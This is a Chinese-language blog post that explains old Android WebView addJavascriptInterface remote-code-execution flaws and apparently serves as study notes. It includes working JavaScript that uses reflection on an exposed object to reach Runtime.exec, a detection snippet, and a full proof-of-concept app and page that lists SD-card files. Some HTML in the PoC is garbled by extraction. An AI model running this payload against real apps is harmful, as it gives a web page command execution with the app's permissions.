Android WebView漏洞总结

  2015年就了解了这个漏洞,但只是简单的试了一下,时间一久就忘记了。导致16年无任何准备的条件下,给面试官讲这个漏洞都讲不清楚,丢人。最近学习了一下web安全相关的知识,就顺便在看了一下这个老的Webview漏洞。全程几乎没有什么干货,就当做个记录。

一、几个老的CVE

  CVE-2012-6336:WebView RCE漏洞原型,对于使用了Webview API:addJavaScriptInterface()的Webview,会向网页中的js导出一个Object。在JS中,可以利用这个Object和本地App的Java代码通信。由于Java支持反射,导致在JS代码中,可以利用这个导出的Object来反射调用本地代码,从而导致了任意代码执行。即JavaScript的网页可以利用App具有的权限执行任意代码。Google Android <= 4.1.2 (API level 16) 受到此漏洞的影响。

  CVE-2014-1939:基于上面的漏洞,3.0以后的Android系统上通过API addJavaScriptInterface()添加了一个SearchBoxImpl类的对象searchBoxJavaBridge_。所以通过searchBoxJavaBridge_对象就可以反射,从而RCE。Google Android <= 4.3.1 受到此漏洞的影响

  CVE-2014-7224: 和上面第二个基本差不多,Android系统服务的代码添加了两个对象accessibility和accessibilityTraversal。Google Android < 4.4 受到此漏洞的影响

二、漏洞分析及检测

  以下主要分析CVE-2012-6336这个漏洞,其他两个就这个特例。

  现在Hybrid App很多,Webview使用频繁。为了本地Java和网页端的JS交互,一些App需要在WebView中调用addJavaScriptInterface来添加一个对象用户通信。这样JS中可以利用反射特性来任意执行代码,关于这点上面已经做了说明。下面以几个问题形式,说明如何检测一个App中是否存在这样的漏洞。

  在JS中获得了Webview中导出的Object,只要通过以下代码就可以就可以进行反射并RCE。

function execute(cmd){
/*jsObject是导出的Object*/
                return window.jsObject.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
}

1. 获取导出给JS的Object对象

  对于一个待测的App,导出给JS的Object名字不是那么容易找的,通过静态分析方式比较麻烦,可能做不到。那么,怎么才能获取导出给JS的Object名字?

  获取导出给JS的Object名字的目的就是为了从这个Object开始反射。对于Java反射,getClass()方法至关重要 。而JS可以遍历window对象,找到存在“getClass”方法的对象。于是通过遍历window方式找到导出来的可以被JS调用的Object。

/*遍历window对象,找出可以被利用来反射的Object*/
function execute(cmd){
    for(var obj in window){
        if("getClass" in window[obj]){
            return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
        }
    }
}

2. 检测代码

  有了上述方法,检测一个WebView是否存在漏洞也就简单了,只需要使用一个网页来检测是否可以找到存在“getClass”方法的对象。

function detectVul(){
    for(var obj in window){
        if("getClass" in window[obj]){

            document.write(obj+"
"
); } } }

3. JS和本地Java通信

  通过导出的Object,JS就可以和本地App Java代码中的方法进行通信。其实这个和漏洞利用关系不大,是这种设计的初衷。好处是JS可以利用本地Java方法做一些需要权限的事,而从JS中向Java传递数据,可以便于App升级业务而不需重新安装。ps:这个漏洞在4.2系统就不存在了,文章最后简单说明一下这种机制可能带来的其他威胁,如果developer丝毫没有安全意识。

  • 向本地App传递数据

/*js*/
function onImageClick(){
    var src=document.getElementById("image").src;
    forInjectObj.showStrFromJs("从JS向本地App注入数据:"+src);
}
/*java*/
public void showStrFromJs(String strFromJS) {
    Toast.makeText(mContext, strFromJS, Toast.LENGTH_LONG).show();
}

Android WebView漏洞总结_第1张图片

- 从本地App Java方法获取数据

/*js*/
function onButtonClick(){
    var str=forInjectObj.passString();
    alert("来自本地App的数据:"+str);
}
public String passString() {
    return "来自本地APP的String";
}

Android WebView漏洞总结_第2张图片

三、完整PoC及检测代码

  完整代码可在地址下载。

1. App端示例代码

package com.ncnipc.androidgroup.webecplore;

import android.app.Activity;
import android.content.Context;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.EditText;
import android.widget.ImageButton;
import android.widget.Toast;

public class MainActivity extends Activity {

    ImageButton updateButton;
    EditText addressColum;
    WebView webView;
    JavaScriptInterface mJavaScriptInterface;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        updateButton = (ImageButton) findViewById(R.id.updateButton);
        addressColum = (EditText) findViewById(R.id.addressColom);
        webView = (WebView) findViewById(R.id.webView);

        mJavaScriptInterface = new JavaScriptInterface(this);

        WebSettings webSettings = webView.getSettings();
        webSettings.setJavaScriptEnabled(true);
        webSettings.setJavaScriptCanOpenWindowsAutomatically(true);

        webView.addJavascriptInterface(mJavaScriptInterface, "forInjectObj");

        webSettings.setDefaultTextEncodingName("gbk");
        updateButton.setOnClickListener(new LoadWebListener());
        webView.setWebChromeClient(new WebChromeClient());
        webView.setWebViewClient(new WebViewClient() {

            @Override
            public boolean shouldOverrideUrlLoading(WebView view, String url) {
                view.loadUrl(url);
                return true;
            }

        });
    }

    public class JavaScriptInterface {
        Context mContext;

        public JavaScriptInterface(Context context) {
            this.mContext = context;
        }

        public String passString() {
            return "来自本地APP的String";
        }

        public void showStrFromJs(String strFromJS) {
            Toast.makeText(mContext, strFromJS, Toast.LENGTH_LONG).show();
        }
    }

    private class LoadWebListener implements OnClickListener {

        @Override
        public void onClick(View v) {
            // TODO Auto-generated method stub
            String url = addressColum.getText().toString();
//          if (!url.startsWith("https://") && !url.startsWith("http://")) {
//              url = "http://" + url;
//          }
            webView.loadUrl(url);
        }
    }
}

2. JS代码

<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=gbk">
        <script>
            var i=0;
            function getContents(inputStream){
                var contents=""+i;
                var b=inputStream.read();
                var i=1;
                while(b!=-1){
                    var bStr=String.fromCharCode(b);
                    contents+=bStr;
                    contents+="\n";
                    b=inputStream.read();
                }
                i++;
                return contents;
            }

            function detectVul(){
                for(var obj in window){
                    if("getClass" in window[obj]){

                        document.write(obj+"
"
); } } } function execute(cmd){ for(var obj in window){ if("getClass" in window[obj]){ return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd); } } } var p = execute(["ls","-al","/mnt/sdcard/"]); document.write(getContents(p.getInputStream())); document.write("
"
+"检测到Webview中漏洞有:"+"
"
); detectVul();
script> <script> function onImageClick(){ var src=document.getElementById("image").src; forInjectObj.showStrFromJs("从JS向本地App注入数据:"+src); } function onButtonClick(){ var str=forInjectObj.passString(); alert("来自本地App的数据:"+str); } script> head> <body> <p>点击图片把URL传到Java代码p> <img class="curved_box" id="image" onclick="onImageClick()" width="150" height="185" src="http://img1.gtimg.com/ent/pics/hv1/135/149/869/56544855.jpg" onerror="this.src='http://imgsrc.baidu.com/baike/pic/item/dcc451da81cb39db347807e3d3160924aa1830ce.jpg'"/> <br><br> <button type="button" onclick="onButtonClick()">与Java代码交互button> body> html>

四、写在最后

  还有以下几点打算说明一下:

  • 一个App的WebView暴露了Object,并且在4.1以下系统,是否就可以利用?
    要真正做到RCE,还需要恶意的网页需要被App的webView加载。多数App的webview并不对外导出,对于这类不可利用,当然如果你说通过DNS欺骗的网络攻击当我没说。
  • App开发者应该对加载的网页做检测,对于不必要的网页,最好限制加载,这不仅仅是因为这个漏洞。
  • Google在4.2以上版本中修复了这个漏洞,是不是developer就什么都不管了?
    尽管后来js调用的Java方法必须通过@JavascriptInterface注解。但是,developer主要不要把有安全风险的方法加上这个@JavascriptInterface,这样就等于主动献出屁股让别人“ri”了。

你可能感兴趣的:(Android安全,android,WebView,漏洞)